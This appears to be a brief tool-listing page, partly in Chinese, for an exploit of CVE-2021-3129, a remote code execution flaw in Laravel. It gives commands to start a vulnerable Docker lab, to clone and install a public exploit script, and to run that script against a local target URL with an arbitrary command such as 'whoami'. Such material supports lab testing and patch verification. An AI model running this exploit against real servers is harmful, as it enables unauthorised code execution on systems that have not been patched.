CVE-2021-3129 — Laravel RCE (CVE-2021-3129) | Kitploit

CVE-2021-3129

Laravel 远程代码执行 (CVE-2021-3129)

测试环境

mkdir CVE-2021-3129-docker
cd CVE-2021-3129-docker
wget https://raw.githubusercontent.com/vulhub/vulhub/master/laravel/CVE-2021-3129/docker-compose.yml
docker compose up -d

使用方法

git clone https://github.com/miko550/CVE-2021-3129.git
cd CVE-2021-3129
pip install -r requirements.txt
python3 CVE-2021-3129.py -t "http://127.0.0.1:8080/" -c "whoami"

参考

https://github.com/joshuavanderpoll/CVE-2021-3129